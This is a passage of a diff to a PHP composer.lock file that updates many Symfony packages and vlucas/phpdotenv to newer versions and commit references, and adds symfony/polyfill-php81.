"https://api.github.com/repos/symfony/css-selector/zipball/08e2905152a39cf3fd1745d83f8c483e258887d9", + "reference": "08e2905152a39cf3fd1745d83f8c483e258887d9", "shasum": "" }, "require": { @@ -8891,7 +8934,7 @@ "description": "Converts CSS selectors to XPath expressions", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/css-selector/tree/v8.1.0" + "source": "https://github.com/symfony/css-selector/tree/v8.1.6" }, "funding": [ { @@ -8911,7 +8954,7 @@ "type": "tidelift" } ], - "time": "2026-05-29T05:06:50+00:00" + "time": "2026-08-23T10:06:25+00:00" }, { "name": "symfony/deprecation-contracts", @@ -8986,16 +9029,16 @@ }, { "name": "symfony/error-handler", - "version": "v7.4.15", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/error-handler.git", - "reference": "d49f6a19f326db41ae7103bdc38e3eb35a791261" + "reference": "82239fe00f7cdc9f17c4166fff4ebdc22bd26ec0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/error-handler/zipball/d49f6a19f326db41ae7103bdc38e3eb35a791261", - "reference": "d49f6a19f326db41ae7103bdc38e3eb35a791261", + "url": "https://api.github.com/repos/symfony/error-handler/zipball/82239fe00f7cdc9f17c4166fff4ebdc22bd26ec0", + "reference": "82239fe00f7cdc9f17c4166fff4ebdc22bd26ec0", "shasum": "" }, "require": { @@ -9044,7 +9087,7 @@ "description": "Provides tools to manage errors and ease debugging PHP code", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/error-handler/tree/v7.4.15" + "source": "https://github.com/symfony/error-handler/tree/v7.4.20" }, "funding": [ { @@ -9064,7 +9107,7 @@ "type": "tidelift" } ], - "time": "2026-07-21T15:13:06+00:00" + "time": "2026-09-22T18:56:40+00:00" }, { "name": "symfony/event-dispatcher", @@ -9234,16 +9277,16 @@ }, { "name": "symfony/filesystem", - "version": "v8.1.2", + "version": "v8.1.6", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "17856b7a222664a26a5ea1cb06ee0721c2438217" + "reference": "7599ebb855fede59413ddb7f15198d67bfcae7ba" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/17856b7a222664a26a5ea1cb06ee0721c2438217", - "reference": "17856b7a222664a26a5ea1cb06ee0721c2438217", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/7599ebb855fede59413ddb7f15198d67bfcae7ba", + "reference": "7599ebb855fede59413ddb7f15198d67bfcae7ba", "shasum": "" }, "require": { @@ -9281,7 +9324,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v8.1.2" + "source": "https://github.com/symfony/filesystem/tree/v8.1.6" }, "funding": [ { @@ -9301,20 +9344,20 @@ "type": "tidelift" } ], - "time": "2026-07-22T15:42:13+00:00" + "time": "2026-08-23T10:06:25+00:00" }, { "name": "symfony/finder", - "version": "v7.4.14", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/finder.git", - "reference": "13b38720174286f55d1761152b575a8d1436fc25" + "reference": "2dd31e5208db7a0fda7bfc998ad727b79c2e4d1e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/13b38720174286f55d1761152b575a8d1436fc25", - "reference": "13b38720174286f55d1761152b575a8d1436fc25", + "url": "https://api.github.com/repos/symfony/finder/zipball/2dd31e5208db7a0fda7bfc998ad727b79c2e4d1e", + "reference": "2dd31e5208db7a0fda7bfc998ad727b79c2e4d1e", "shasum": "" }, "require": { @@ -9349,7 +9392,7 @@ "description": "Finds files and directories via an intuitive fluent interface", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/finder/tree/v7.4.14" + "source": "https://github.com/symfony/finder/tree/v7.4.20" }, "funding": [ { @@ -9369,20 +9412,20 @@ "type": "tidelift" } ], - "time": "2026-06-27T08:31:18+00:00" + "time": "2026-09-26T06:31:10+00:00" }, { "name": "symfony/http-foundation", - "version": "v7.4.16", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/http-foundation.git", - "reference": "b676451bb638e99a7d34d8a2be90406822e301eb" + "reference": "9d0761c0da6bd5b801b401666834901a9a1ffc33" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-foundation/zipball/b676451bb638e99a7d34d8a2be90406822e301eb", - "reference": "b676451bb638e99a7d34d8a2be90406822e301eb", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/9d0761c0da6bd5b801b401666834901a9a1ffc33", + "reference": "9d0761c0da6bd5b801b401666834901a9a1ffc33", "shasum": "" }, "require": { @@ -9431,7 +9474,7 @@ "description": "Defines an object-oriented layer for the HTTP specification", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-foundation/tree/v7.4.16" + "source": "https://github.com/symfony/http-foundation/tree/v7.4.20" }, "funding": [ { @@ -9451,20 +9494,20 @@ "type": "tidelift" } ], - "time": "2026-08-07T11:50:27+00:00" + "time": "2026-09-24T07:12:44+00:00" }, { "name": "symfony/http-kernel", - "version": "v7.4.16", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/http-kernel.git", - "reference": "f5e728670fa2218ae8be8ea91f2b44b7d6e5304c" + "reference": "392784b5d7b959b8d872542a2530c50c540a788f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-kernel/zipball/f5e728670fa2218ae8be8ea91f2b44b7d6e5304c", - "reference": "f5e728670fa2218ae8be8ea91f2b44b7d6e5304c", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/392784b5d7b959b8d872542a2530c50c540a788f", + "reference": "392784b5d7b959b8d872542a2530c50c540a788f", "shasum": "" }, "require": { @@ -9550,7 +9593,7 @@ "description": "Provides a structured process for converting a Request into a Response", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-kernel/tree/v7.4.16" + "source": "https://github.com/symfony/http-kernel/tree/v7.4.20" }, "funding": [ { @@ -9570,7 +9613,7 @@ "type": "tidelift" } ], - "time": "2026-08-07T18:00:13+00:00" + "time": "2026-09-29T14:05:16+00:00" }, { "name": "symfony/mailer", @@ -9901,16 +9944,16 @@ }, { "name": "symfony/polyfill-intl-grapheme", - "version": "v1.41.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-grapheme.git", - "reference": "bb899c1db0aa8127dc3afe8cda4a67eb24915f8d" + "reference": "5cac8f4db97208823aa353f59a01faad2da52c75" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/bb899c1db0aa8127dc3afe8cda4a67eb24915f8d", - "reference": "bb899c1db0aa8127dc3afe8cda4a67eb24915f8d", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/5cac8f4db97208823aa353f59a01faad2da52c75", + "reference": "5cac8f4db97208823aa353f59a01faad2da52c75", "shasum": "" }, "require": { @@ -9959,7 +10002,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.41.0" + "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.43.0" }, "funding": [ { @@ -9979,20 +10022,20 @@ "type": "tidelift" } ], - "time": "2026-07-28T08:25:59+00:00" + "time": "2026-09-25T15:46:47+00:00" }, { "name": "symfony/polyfill-intl-idn", - "version": "v1.42.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-idn.git", - "reference": "51b5ff5ba85452b31ec6f55490b08148612339d9" + "reference": "533d68cf99c8f8ee2e8893c59ed59192e92cfd74" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/51b5ff5ba85452b31ec6f55490b08148612339d9", - "reference": "51b5ff5ba85452b31ec6f55490b08148612339d9", + "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/533d68cf99c8f8ee2e8893c59ed59192e92cfd74", + "reference": "533d68cf99c8f8ee2e8893c59ed59192e92cfd74", "shasum": "" }, "require": { @@ -10046,7 +10089,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.42.0" + "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.43.0" }, "funding": [ { @@ -10066,20 +10109,20 @@ "type": "tidelift" } ], - "time": "2026-08-24T10:51:20+00:00" + "time": "2026-09-23T14:40:04+00:00" }, { "name": "symfony/polyfill-intl-normalizer", - "version": "v1.42.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-intl-normalizer.git", - "reference": "aa20edea75bd9c48cfecc8360922e5a6e5c44502" + "reference": "ebd57ccc7edb93d632e184efbe7693d2517bab3b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/aa20edea75bd9c48cfecc8360922e5a6e5c44502", - "reference": "aa20edea75bd9c48cfecc8360922e5a6e5c44502", + "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/ebd57ccc7edb93d632e184efbe7693d2517bab3b", + "reference": "ebd57ccc7edb93d632e184efbe7693d2517bab3b", "shasum": "" }, "require": { @@ -10131,7 +10174,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.42.0" + "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.43.0" }, "funding": [ { @@ -10151,20 +10194,20 @@ "type": "tidelift" } ], - "time": "2026-08-07T06:33:24+00:00" + "time": "2026-09-23T22:02:09+00:00" }, { "name": "symfony/polyfill-mbstring", - "version": "v1.38.2", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-mbstring.git", - "reference": "d3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6" + "reference": "4d5d331bf731e0aedbc6b2f5e61135b7b7996a72" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/d3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6", - "reference": "d3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6", + "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/4d5d331bf731e0aedbc6b2f5e61135b7b7996a72", + "reference": "4d5d331bf731e0aedbc6b2f5e61135b7b7996a72", "shasum": "" }, "require": { @@ -10216,7 +10259,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.38.2" + "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.43.0" }, "funding": [ { @@ -10236,20 +10279,20 @@ "type": "tidelift" } ], - "time": "2026-05-27T06:59:30+00:00" + "time": "2026-09-24T15:19:04+00:00" }, { "name": "symfony/polyfill-php80", - "version": "v1.37.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php80.git", - "reference": "dfb55726c3a76ea3b6459fcfda1ec2d80a682411" + "reference": "9c6a5d6b01ca51d486c813e9a9c0ed55f208bb74" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/dfb55726c3a76ea3b6459fcfda1ec2d80a682411", - "reference": "dfb55726c3a76ea3b6459fcfda1ec2d80a682411", + "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/9c6a5d6b01ca51d486c813e9a9c0ed55f208bb74", + "reference": "9c6a5d6b01ca51d486c813e9a9c0ed55f208bb74", "shasum": "" }, "require": { @@ -10300,7 +10343,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php80/tree/v1.37.0" + "source": "https://github.com/symfony/polyfill-php80/tree/v1.43.0" }, "funding": [ { @@ -10320,20 +10363,100 @@ "type": "tidelift" } ], - "time": "2026-04-10T16:19:22+00:00" + "time": "2026-09-25T15:50:05+00:00" }, { - "name": "symfony/polyfill-php83", - "version": "v1.41.0", + "name": "symfony/polyfill-php81", + "version": "v1.38.1", "source": { "type": "git", - "url": "https://github.com/symfony/polyfill-php83.git", - "reference": "5ea99087fb99c273a9b9236ed4c31e78b16103c6" + "url": "https://github.com/symfony/polyfill-php81.git", + "reference": "6bfb9c766cacffbc8e118cb87217d08ed84e5cd7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php83/zipball/5ea99087fb99c273a9b9236ed4c31e78b16103c6", - "reference": "5ea99087fb99c273a9b9236ed4c31e78b16103c6", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/6bfb9c766cacffbc8e118cb87217d08ed84e5cd7", + "reference": "6bfb9c766cacffbc8e118cb87217d08ed84e5cd7", + "shasum": "" + }, + "require": { + "php": ">=7.2" + }, + "type": "library", + "extra": { + "thanks": { + "url": "https://github.com/symfony/polyfill", + "name": "symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php81\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php81/tree/v1.38.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-05-26T12:45:58+00:00" + }, + { + "name": "symfony/polyfill-php83", + "version": "v1.43.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php83.git", + "reference": "80ccff923a8d61f73ebe9da0aa94e25232f004ce" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php83/zipball/80ccff923a8d61f73ebe9da0aa94e25232f004ce", + "reference": "80ccff923a8d61f73ebe9da0aa94e25232f004ce", "shasum": "" }, "require": { @@ -10380,7 +10503,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php83/tree/v1.41.0" + "source": "https://github.com/symfony/polyfill-php83/tree/v1.43.0" }, "funding": [ { @@ -10400,20 +10523,20 @@ "type": "tidelift" } ], - "time": "2026-07-01T12:47:55+00:00" + "time": "2026-09-25T15:50:05+00:00" }, { "name": "symfony/polyfill-php84", - "version": "v1.38.1", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php84.git", - "reference": "f4e1dfaee5b74aba5964fe1fd4dfc7ba5e3085fa" + "reference": "22c6548499cbe5c5bb072fc0c42312dff062a015" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php84/zipball/f4e1dfaee5b74aba5964fe1fd4dfc7ba5e3085fa", - "reference": "f4e1dfaee5b74aba5964fe1fd4dfc7ba5e3085fa", + "url": "https://api.github.com/repos/symfony/polyfill-php84/zipball/22c6548499cbe5c5bb072fc0c42312dff062a015", + "reference": "22c6548499cbe5c5bb072fc0c42312dff062a015", "shasum": "" }, "require": { @@ -10460,7 +10583,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php84/tree/v1.38.1" + "source": "https://github.com/symfony/polyfill-php84/tree/v1.43.0" }, "funding": [ { @@ -10480,20 +10603,20 @@ "type": "tidelift" } ], - "time": "2026-05-26T12:51:13+00:00" + "time": "2026-09-23T22:01:09+00:00" }, { "name": "symfony/polyfill-php85", - "version": "v1.41.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php85.git", - "reference": "255fab485aaa1006ed411040c42aecd7b5302d7a" + "reference": "86a42cbcc07adc331481a5ab310a4024bfc227f6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php85/zipball/255fab485aaa1006ed411040c42aecd7b5302d7a", - "reference": "255fab485aaa1006ed411040c42aecd7b5302d7a", + "url": "https://api.github.com/repos/symfony/polyfill-php85/zipball/86a42cbcc07adc331481a5ab310a4024bfc227f6", + "reference": "86a42cbcc07adc331481a5ab310a4024bfc227f6", "shasum": "" }, "require": { @@ -10540,7 +10663,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php85/tree/v1.41.0" + "source": "https://github.com/symfony/polyfill-php85/tree/v1.43.0" }, "funding": [ { @@ -10560,20 +10683,20 @@ "type": "tidelift" } ], - "time": "2026-07-01T12:47:55+00:00" + "time": "2026-09-25T15:46:47+00:00" }, { "name": "symfony/polyfill-uuid", - "version": "v1.37.0", + "version": "v1.43.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-uuid.git", - "reference": "26dfec253c4cf3e51b541b52ddf7e42cb0908e94" + "reference": "b23ff8245cc5c4479ea2be3d0132d2e6dd433993" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-uuid/zipball/26dfec253c4cf3e51b541b52ddf7e42cb0908e94", - "reference": "26dfec253c4cf3e51b541b52ddf7e42cb0908e94", + "url": "https://api.github.com/repos/symfony/polyfill-uuid/zipball/b23ff8245cc5c4479ea2be3d0132d2e6dd433993", + "reference": "b23ff8245cc5c4479ea2be3d0132d2e6dd433993", "shasum": "" }, "require": { @@ -10623,7 +10746,7 @@ "uuid" ], "support": { - "source": "https://github.com/symfony/polyfill-uuid/tree/v1.37.0" + "source": "https://github.com/symfony/polyfill-uuid/tree/v1.43.0" }, "funding": [ { @@ -10643,20 +10766,20 @@ "type": "tidelift" } ], - "time": "2026-04-10T16:19:22+00:00" + "time": "2026-09-24T05:20:52+00:00" }, { "name": "symfony/process", - "version": "v7.4.13", + "version": "v7.4.19", "source": { "type": "git", "url": "https://github.com/symfony/process.git", - "reference": "f5804be144caceb570f6747519999636b664f24c" + "reference": "ed0ae095b86994d370d5791612e55984f15aa30e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/process/zipball/f5804be144caceb570f6747519999636b664f24c", - "reference": "f5804be144caceb570f6747519999636b664f24c", + "url": "https://api.github.com/repos/symfony/process/zipball/ed0ae095b86994d370d5791612e55984f15aa30e", + "reference": "ed0ae095b86994d370d5791612e55984f15aa30e", "shasum": "" }, "require": { @@ -10688,7 +10811,7 @@ "description": "Executes commands in sub-processes", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/process/tree/v7.4.13" + "source": "https://github.com/symfony/process/tree/v7.4.19" }, "funding": [ { @@ -10708,7 +10831,7 @@ "type": "tidelift" } ], - "time": "2026-05-23T16:05:06+00:00" + "time": "2026-09-02T12:38:34+00:00" }, { "name": "symfony/property-access", @@ -10793,16 +10916,16 @@ }, { "name": "symfony/property-info", - "version": "v8.1.4", + "version": "v8.1.8", "source": { "type": "git", "url": "https://github.com/symfony/property-info.git", - "reference": "d3b1ba3e69dd9fbfff3e00416d2fc60c600c599d" + "reference": "fe727d4888a92ac9200a2c1b8e0a995b6022afa7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/property-info/zipball/d3b1ba3e69dd9fbfff3e00416d2fc60c600c599d", - "reference": "d3b1ba3e69dd9fbfff3e00416d2fc60c600c599d", + "url": "https://api.github.com/repos/symfony/property-info/zipball/fe727d4888a92ac9200a2c1b8e0a995b6022afa7", + "reference": "fe727d4888a92ac9200a2c1b8e0a995b6022afa7", "shasum": "" }, "require": { @@ -10855,7 +10978,7 @@ "validator" ], "support": { - "source": "https://github.com/symfony/property-info/tree/v8.1.4" + "source": "https://github.com/symfony/property-info/tree/v8.1.8" }, "funding": [ { @@ -10875,7 +10998,7 @@ "type": "tidelift" } ], - "time": "2026-08-07T15:02:39+00:00" + "time": "2026-09-28T19:13:15+00:00" }, { "name": "symfony/psr-http-message-bridge", @@ -10966,16 +11089,16 @@ }, { "name": "symfony/routing", - "version": "v7.4.15", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/routing.git", - "reference": "80c0a93d3f8e7499f716204a1fb38ead942a7a2b" + "reference": "2bacb72be5eadeaf9874d5accb75bfb33d21c74b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/routing/zipball/80c0a93d3f8e7499f716204a1fb38ead942a7a2b", - "reference": "80c0a93d3f8e7499f716204a1fb38ead942a7a2b", + "url": "https://api.github.com/repos/symfony/routing/zipball/2bacb72be5eadeaf9874d5accb75bfb33d21c74b", + "reference": "2bacb72be5eadeaf9874d5accb75bfb33d21c74b", "shasum": "" }, "require": { @@ -11027,7 +11150,7 @@ "url" ], "support": { - "source": "https://github.com/symfony/routing/tree/v7.4.15" + "source": "https://github.com/symfony/routing/tree/v7.4.20" }, "funding": [ { @@ -11047,20 +11170,20 @@ "type": "tidelift" } ], - "time": "2026-07-21T15:13:06+00:00" + "time": "2026-09-28T19:09:50+00:00" }, { "name": "symfony/serializer", - "version": "v8.1.4", + "version": "v8.1.8", "source": { "type": "git", "url": "https://github.com/symfony/serializer.git", - "reference": "ec3ae778e49a4cee5b937a779056fa23c3e834fb" + "reference": "df54c4fe859d945eb633d2c5e6a410ce535f21e4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/serializer/zipball/ec3ae778e49a4cee5b937a779056fa23c3e834fb", - "reference": "ec3ae778e49a4cee5b937a779056fa23c3e834fb", + "url": "https://api.github.com/repos/symfony/serializer/zipball/df54c4fe859d945eb633d2c5e6a410ce535f21e4", + "reference": "df54c4fe859d945eb633d2c5e6a410ce535f21e4", "shasum": "" }, "require": { @@ -11126,7 +11249,7 @@ "description": "Handles serializing and deserializing data structures, including object graphs, into array structures or other formats like XML and JSON.", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/serializer/tree/v8.1.4" + "source": "https://github.com/symfony/serializer/tree/v8.1.8" }, "funding": [ { @@ -11146,7 +11269,7 @@ "type": "tidelift" } ], - "time": "2026-08-06T09:53:08+00:00" + "time": "2026-09-28T09:40:25+00:00" }, { "name": "symfony/service-contracts", @@ -11237,16 +11360,16 @@ }, { "name": "symfony/string", - "version": "v8.1.2", + "version": "v8.1.7", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "286a76b7255e5cc4bf0101a0bc5388ecf1c38ccc" + "reference": "d950140b5f56f31901e5b7a0c04ffc3a3deb943c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/286a76b7255e5cc4bf0101a0bc5388ecf1c38ccc", - "reference": "286a76b7255e5cc4bf0101a0bc5388ecf1c38ccc", + "url": "https://api.github.com/repos/symfony/string/zipball/d950140b5f56f31901e5b7a0c04ffc3a3deb943c", + "reference": "d950140b5f56f31901e5b7a0c04ffc3a3deb943c", "shasum": "" }, "require": { @@ -11303,7 +11426,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v8.1.2" + "source": "https://github.com/symfony/string/tree/v8.1.7" }, "funding": [ { @@ -11323,20 +11446,20 @@ "type": "tidelift" } ], - "time": "2026-07-28T07:35:25+00:00" + "time": "2026-09-11T14:51:16+00:00" }, { "name": "symfony/translation", - "version": "v8.1.4", + "version": "v8.1.5", "source": { "type": "git", "url": "https://github.com/symfony/translation.git", - "reference": "c0955eb4aa417a110e65c8162237b8a5c7d910bf" + "reference": "d9e1caba0d6b6f9a26710af8a2f88d37f001215a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation/zipball/c0955eb4aa417a110e65c8162237b8a5c7d910bf", - "reference": "c0955eb4aa417a110e65c8162237b8a5c7d910bf", + "url": "https://api.github.com/repos/symfony/translation/zipball/d9e1caba0d6b6f9a26710af8a2f88d37f001215a", + "reference": "d9e1caba0d6b6f9a26710af8a2f88d37f001215a", "shasum": "" }, "require": { @@ -11396,7 +11519,7 @@ "description": "Provides tools to internationalize your application", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/translation/tree/v8.1.4" + "source": "https://github.com/symfony/translation/tree/v8.1.5" }, "funding": [ { @@ -11416,7 +11539,7 @@ "type": "tidelift" } ], - "time": "2026-07-30T12:40:56+00:00" + "time": "2026-08-21T17:47:34+00:00" }, { "name": "symfony/translation-contracts", @@ -11502,16 +11625,16 @@ }, { "name": "symfony/type-info", - "version": "v8.1.0", + "version": "v8.1.8", "source": { "type": "git", "url": "https://github.com/symfony/type-info.git", - "reference": "9f24df8a79781b9b9f030fea7dfd2f3bd1e7e7e7" + "reference": "18e1d891f0b8776141f281f7b6f5e67e4df9d9cd" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/type-info/zipball/9f24df8a79781b9b9f030fea7dfd2f3bd1e7e7e7", - "reference": "9f24df8a79781b9b9f030fea7dfd2f3bd1e7e7e7", + "url": "https://api.github.com/repos/symfony/type-info/zipball/18e1d891f0b8776141f281f7b6f5e67e4df9d9cd", + "reference": "18e1d891f0b8776141f281f7b6f5e67e4df9d9cd", "shasum": "" }, "require": { @@ -11560,7 +11683,7 @@ "type" ], "support": { - "source": "https://github.com/symfony/type-info/tree/v8.1.0" + "source": "https://github.com/symfony/type-info/tree/v8.1.8" }, "funding": [ { @@ -11580,20 +11703,20 @@ "type": "tidelift" } ], - "time": "2026-05-29T05:06:50+00:00" + "time": "2026-09-28T19:13:15+00:00" }, { "name": "symfony/uid", - "version": "v7.4.9", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/uid.git", - "reference": "2676b524340abcfe4d6151ec698463cebafee439" + "reference": "a96bbdb02a04ff3b5592cee6741b03edc78b56aa" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/uid/zipball/2676b524340abcfe4d6151ec698463cebafee439", - "reference": "2676b524340abcfe4d6151ec698463cebafee439", + "url": "https://api.github.com/repos/symfony/uid/zipball/a96bbdb02a04ff3b5592cee6741b03edc78b56aa", + "reference": "a96bbdb02a04ff3b5592cee6741b03edc78b56aa", "shasum": "" }, "require": { @@ -11638,7 +11761,7 @@ "uuid" ], "support": { - "source": "https://github.com/symfony/uid/tree/v7.4.9" + "source": "https://github.com/symfony/uid/tree/v7.4.20" }, "funding": [ { @@ -11658,20 +11781,20 @@ "type": "tidelift" } ], - "time": "2026-04-30T15:19:22+00:00" + "time": "2026-09-23T16:18:28+00:00" }, { "name": "symfony/var-dumper", - "version": "v7.4.15", + "version": "v7.4.18", "source": { "type": "git", "url": "https://github.com/symfony/var-dumper.git", - "reference": "04ba4add636a95ff437af3a5a9499bb1d6c6d4bd" + "reference": "e088da50b813f32473a76871616cbb8fa54653a8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/04ba4add636a95ff437af3a5a9499bb1d6c6d4bd", - "reference": "04ba4add636a95ff437af3a5a9499bb1d6c6d4bd", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/e088da50b813f32473a76871616cbb8fa54653a8", + "reference": "e088da50b813f32473a76871616cbb8fa54653a8", "shasum": "" }, "require": { @@ -11725,7 +11848,7 @@ "dump" ], "support": { - "source": "https://github.com/symfony/var-dumper/tree/v7.4.15" + "source": "https://github.com/symfony/var-dumper/tree/v7.4.18" }, "funding": [ { @@ -11745,20 +11868,20 @@ "type": "tidelift" } ], - "time": "2026-07-21T15:13:06+00:00" + "time": "2026-08-30T20:10:52+00:00" }, { "name": "symfony/yaml", - "version": "v7.4.15", + "version": "v7.4.20", "source": { "type": "git", "url": "https://github.com/symfony/yaml.git", - "reference": "e101850ded5d2c0d44bf32abb8996404afec2dec" + "reference": "0222bf4dfaa1e3ceb8fff579635d655f2950d5a7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/yaml/zipball/e101850ded5d2c0d44bf32abb8996404afec2dec", - "reference": "e101850ded5d2c0d44bf32abb8996404afec2dec", + "url": "https://api.github.com/repos/symfony/yaml/zipball/0222bf4dfaa1e3ceb8fff579635d655f2950d5a7", + "reference": "0222bf4dfaa1e3ceb8fff579635d655f2950d5a7", "shasum": "" }, "require": { @@ -11801,7 +11924,7 @@ "description": "Loads and dumps YAML files", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/yaml/tree/v7.4.15" + "source": "https://github.com/symfony/yaml/tree/v7.4.20" }, "funding": [ { @@ -11821,7 +11944,7 @@ "type": "tidelift" } ], - "time": "2026-07-21T15:13:06+00:00" + "time": "2026-09-26T06:31:10+00:00" }, { "name": "tijsverkoyen/css-to-inline-styles", @@ -11950,23 +12073,23 @@ }, { "name": "vlucas/phpdotenv", - "version": "v5.6.4", + "version": "v5.7.0", "source": { "type": "git", "url": "https://github.com/vlucas/phpdotenv.git", - "reference": "416df702837983f8d5ff48c9c3fee4f5f57b980b" + "reference": "301c07936b16d88628b126b01d082ba153cf4c40" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/vlucas/phpdotenv/zipball/416df702837983f8d5ff48c9c3fee4f5f57b980b", - "reference": "416df702837983f8d5ff48c9c3fee4f5f57b980b", + "url": "https://api.github.com/repos/vlucas/phpdotenv/zipball/301c07936b16d88628b126b01d082ba153cf4c40", + "reference": "301c07936b16d88628b126b01d082ba153cf4c40", "shasum": "" }, "require": { "ext-pcre": "*", - "graham-campbell/result-type": "^1.1.4", + "graham-campbell/result-type": "^1.2", "php": "^7.2.5 || ^8.0", - "phpoption/phpoption": "^1.9.5", + "phpoption/phpoption": "^1.10", "symfony/polyfill-ctype": "^1.26", "symfony/polyfill-mbstring": "^1.26", "symfony/polyfill-php80": "^1.26" @@ -12010,7 +12133,7 @@ "homepage": "https://github.com/vlucas" } ], - "description": "Loads environment variables from `.env` to `getenv()`, `$_ENV` and `$_SERVER` automagically.", + "description": "Loads environment variables from `.env` to `$_ENV` and `$_SERVER` automagically, and optionally to 